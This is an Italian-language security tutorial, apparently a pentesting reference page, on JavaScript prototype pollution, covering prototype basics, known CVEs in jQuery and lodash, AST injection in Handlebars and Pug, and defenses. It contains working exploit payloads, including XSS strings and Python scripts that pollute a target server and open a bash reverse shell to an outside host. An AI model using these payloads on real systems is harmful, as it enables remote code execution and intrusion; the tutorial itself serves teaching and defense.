NodeJS - __proto__ & prototype Pollution

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Oggetti in JavaScript

Gli oggetti in JavaScript sono essenzialmente collezioni di coppie chiave-valore, conosciute come proprietà. Un oggetto può essere creato utilizzando Object.create con null come argomento per produrre un oggetto vuoto. Questo metodo consente la creazione di un oggetto senza alcuna proprietà ereditata.

// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.

Un oggetto vuoto è simile a un dizionario vuoto, rappresentato come {}.

Funzioni e Classi in JavaScript

In JavaScript, le classi e le funzioni sono strettamente collegate, con le funzioni che spesso fungono da costruttori per le classi. Nonostante la mancanza di supporto nativo per le classi in JavaScript, i costruttori possono emulare il comportamento delle classi.

// Run this in the developers tools console

function Employee(name, position) {
this.name = name;
this.position = position;
this.introduce = function() {
return "My name is " + this.name + " and I work as a " + this.position + ".";
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer");

employee1.__proto__

Prototipi in JavaScript

JavaScript consente la modifica, l'aggiunta o la cancellazione di attributi del prototipo a runtime. Questa flessibilità consente l'estensione dinamica delle funzionalità delle classi.

Funzioni come toString e valueOf possono essere modificate per cambiare il loro comportamento, dimostrando la natura adattabile del sistema di prototipi di JavaScript.

Eredità

Nella programmazione basata su prototipi, le proprietà/metodi sono ereditati dagli oggetti dalle classi. Queste classi vengono create aggiungendo proprietà/metodi a un'istanza di un'altra classe o a un oggetto vuoto.

Va notato che quando una proprietà viene aggiunta a un oggetto che funge da prototipo per altri oggetti (come myPersonObj), gli oggetti ereditanti ottengono accesso a questa nuova proprietà. Tuttavia, questa proprietà non viene visualizzata automaticamente a meno che non venga esplicitamente invocata.

__proto__ inquinamento

Esplorare l'inquinamento del prototipo in JavaScript

Gli oggetti JavaScript sono definiti da coppie chiave-valore e ereditano dal prototipo dell'oggetto JavaScript. Ciò significa che alterare il prototipo dell'oggetto può influenzare tutti gli oggetti nell'ambiente.

Usiamo un esempio diverso per illustrare:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");

L'accesso al prototipo Object è possibile tramite:

car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;

Aggiungendo proprietà al prototipo Object, ogni oggetto JavaScript erediterà queste nuove proprietà:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
car1.announce(); // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true;
console.log(car1.isVehicle); // Outputs true

inquinamento del prototipo

Per uno scenario in cui l'uso di __proto__ è limitato, modificare il prototipo di una funzione è un'alternativa:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
car1.beep(); // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true;
console.log(car1.hasWheels); // Outputs true

// Alternate method
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true;

Questo influisce solo sugli oggetti creati dal costruttore Vehicle, dando loro le proprietà beep, hasWheels, honk e isElectric.

Due metodi per influenzare globalmente gli oggetti JavaScript attraverso la contaminazione del prototipo includono:

1. Contaminare direttamente l'Object.prototype:

Object.prototype.goodbye = function() { console.log("Goodbye!"); };

2. Inquinare il prototipo di un costruttore per una struttura comunemente usata:

var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); };

Dopo queste operazioni, ogni oggetto JavaScript può eseguire i metodi goodbye e greet.

Inquinare altri oggetti

Da una classe a Object.prototype

In uno scenario in cui puoi inquinare un oggetto specifico e hai bisogno di arrivare a Object.prototype, puoi cercarlo con qualcosa di simile al seguente codice:

// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for(let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for(let key1 in document.querySelector('a')) {
for(let key2 in document.querySelector('a')[key1]) {
if (document.querySelector('a')[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

Inquinamento degli elementi dell'array

Nota che, poiché puoi inquinare gli attributi degli oggetti in JS, se hai accesso per inquinare un array puoi anche inquinare i valori dell'array accessibili tramite indici (nota che non puoi sovrascrivere i valori, quindi devi inquinare indici che sono in qualche modo utilizzati ma non scritti).

c = [1,2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Html elements pollution

Quando si genera un elemento HTML tramite JS, è possibile sovrascrivere l'attributo innerHTML per farlo scrivere codice HTML arbitrario. Idea ed esempio da questo writeup.

// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

Esempi

Esempio di base

Una contaminazione del prototipo si verifica a causa di un difetto nell'applicazione che consente di sovrascrivere le proprietà su Object.prototype. Questo significa che poiché la maggior parte degli oggetti deriva le proprie proprietà da Object.prototype

L'esempio più semplice è aggiungere un valore a un attributo indefinito di un oggetto che verrà controllato, come:

if (user.admin) {

Se l'attributo admin è indefinito è possibile abusare di un PP e impostarlo su True con qualcosa come:

Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

Il meccanismo dietro questo coinvolge la manipolazione delle proprietà in modo tale che, se un attaccante ha il controllo su determinati input, può modificare il prototipo di tutti gli oggetti nell'applicazione. Questa manipolazione tipicamente comporta l'impostazione della proprietà __proto__, che, in JavaScript, è sinonimo di modifica diretta del prototipo di un oggetto.

Le condizioni sotto le quali questo attacco può essere eseguito con successo, come delineato in uno specifico studio, includono:

• Eseguire una fusione ricorsiva.

• Definire proprietà basate su un percorso.

• Clonare oggetti.

Funzione di override

customer.__proto__.toString = ()=>{alert("polluted")}

Proto Pollution to RCE

Prototype Pollution to RCE

Altri payload:

• https://github.com/KTH-LangSec/server-side-prototype-pollution

Client-side prototype pollution to XSS

Client Side Prototype Pollution

CVE-2019–11358: Attacco di inquinamento del prototipo tramite jQuery $ .extend

Per ulteriori dettagli controlla questo articolo In jQuery, la funzione $ .extend può portare a inquinamento del prototipo se la funzione di copia profonda viene utilizzata in modo improprio. Questa funzione è comunemente usata per clonare oggetti o unire proprietà da un oggetto predefinito. Tuttavia, quando è configurata in modo errato, le proprietà destinate a un nuovo oggetto possono essere assegnate al prototipo invece. Ad esempio:

$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true

Questa vulnerabilità, identificata come CVE-2019–11358, illustra come una copia profonda possa modificare involontariamente il prototipo, portando a potenziali rischi per la sicurezza, come l'accesso non autorizzato da amministratore se proprietà come isAdmin vengono controllate senza una corretta verifica di esistenza.

CVE-2018–3721, CVE-2019–10744: attacco di inquinamento del prototipo tramite lodash

Per ulteriori dettagli, controlla questo articolo

Lodash ha incontrato vulnerabilità simili di inquinamento del prototipo (CVE-2018–3721, CVE-2019–10744). Questi problemi sono stati risolti nella versione 4.17.11.

Un altro tutorial con CVE

Strumenti per rilevare l'inquinamento del prototipo

• Server-Side-Prototype-Pollution-Gadgets-Scanner: estensione di Burp Suite progettata per rilevare e analizzare vulnerabilità di inquinamento del prototipo lato server nelle applicazioni web. Questo strumento automatizza il processo di scansione delle richieste per identificare potenziali problemi di inquinamento del prototipo. Sfrutta gadget noti - metodi per sfruttare l'inquinamento del prototipo per eseguire azioni dannose - concentrandosi in particolare sulle librerie Node.js.

• server-side-prototype-pollution: Questa estensione identifica vulnerabilità di inquinamento del prototipo lato server. Utilizza tecniche descritte nell'inquinamento del prototipo lato server.

Inquinamento del prototipo AST in NodeJS

NodeJS utilizza ampiamente gli Abstract Syntax Trees (AST) in JavaScript per funzionalità come motori di template e TypeScript. Questa sezione esplora le vulnerabilità relative all'inquinamento del prototipo nei motori di template, specificamente Handlebars e Pug.

Analisi della vulnerabilità di Handlebars

Il motore di template Handlebars è suscettibile a un attacco di inquinamento del prototipo. Questa vulnerabilità deriva da specifiche funzioni all'interno del file javascript-compiler.js. La funzione appendContent, ad esempio, concatena pendingContent se è presente, mentre la funzione pushSource reimposta pendingContent su undefined dopo aver aggiunto la sorgente.

Processo di sfruttamento

Lo sfruttamento sfrutta l'AST (Abstract Syntax Tree) prodotto da Handlebars, seguendo questi passaggi:

1. Manipolazione del Parser: Inizialmente, il parser, tramite il nodo NumberLiteral, impone che i valori siano numerici. L'inquinamento del prototipo può eludere questo, consentendo l'inserimento di stringhe non numeriche.

2. Gestione da parte del Compilatore: Il compilatore può elaborare un oggetto AST o un template string. Se input.type è uguale a Program, l'input viene trattato come pre-parsato, il che può essere sfruttato.

3. Iniezione di Codice: Attraverso la manipolazione di Object.prototype, è possibile iniettare codice arbitrario nella funzione template, il che può portare all'esecuzione remota di codice.

Un esempio che dimostra lo sfruttamento della vulnerabilità di Handlebars:

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];

const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);

console.log(eval('(' + template + ')')['main'].toString());

Questo codice mostra come un attaccante potrebbe iniettare codice arbitrario in un template Handlebars.

Riferimento Esterno: È stato trovato un problema relativo alla contaminazione del prototipo nella libreria 'flat', come dettagliato qui: Problema su GitHub.

Riferimento Esterno: Problema relativo alla contaminazione del prototipo nella libreria 'flat'

Esempio di exploit di contaminazione del prototipo in Python:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Vulnerabilità di Pug

Pug, un altro motore di template, affronta un rischio simile di inquinamento del prototipo. Informazioni dettagliate sono disponibili nella discussione su AST Injection in Pug.

Esempio di inquinamento del prototipo in Pug:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

Misure Preventive

Per ridurre il rischio di inquinamento del prototipo, possono essere impiegate le strategie elencate di seguito:

1. Immutabilità degli Oggetti: Object.prototype può essere reso immutabile applicando Object.freeze.

2. Validazione degli Input: Gli input JSON devono essere rigorosamente validati rispetto allo schema dell'applicazione.

3. Funzioni di Fusione Sicure: L'uso non sicuro di funzioni di fusione ricorsive dovrebbe essere evitato.

4. Oggetti Senza Prototipo: Gli oggetti senza proprietà di prototipo possono essere creati utilizzando Object.create(null).

5. Uso di Map: Invece di Object, si dovrebbe usare Map per memorizzare coppie chiave-valore.

6. Aggiornamenti delle Librerie: Le patch di sicurezza possono essere incorporate aggiornando regolarmente le librerie.

7. Strumenti di Linter e Analisi Statica: Utilizzare strumenti come ESLint con plugin appropriati per rilevare e prevenire vulnerabilità di inquinamento del prototipo.

8. Revisioni del Codice: Implementare revisioni del codice approfondite per identificare e risolvere potenziali rischi legati all'inquinamento del prototipo.

9. Formazione sulla Sicurezza: Educare gli sviluppatori sui rischi dell'inquinamento del prototipo e sulle migliori pratiche per scrivere codice sicuro.

10. Uso Cauto delle Librerie: Essere cauti nell'uso di librerie di terze parti. Valutare la loro postura di sicurezza e rivedere il loro codice, specialmente quelle che manipolano oggetti.

11. Protezione a Runtime: Impiegare meccanismi di protezione a runtime come l'uso di pacchetti npm focalizzati sulla sicurezza che possono rilevare e prevenire attacchi di inquinamento del prototipo.

Riferimenti

• https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/

• https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l

• https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7

• https://blog.p6.is/AST-Injection/

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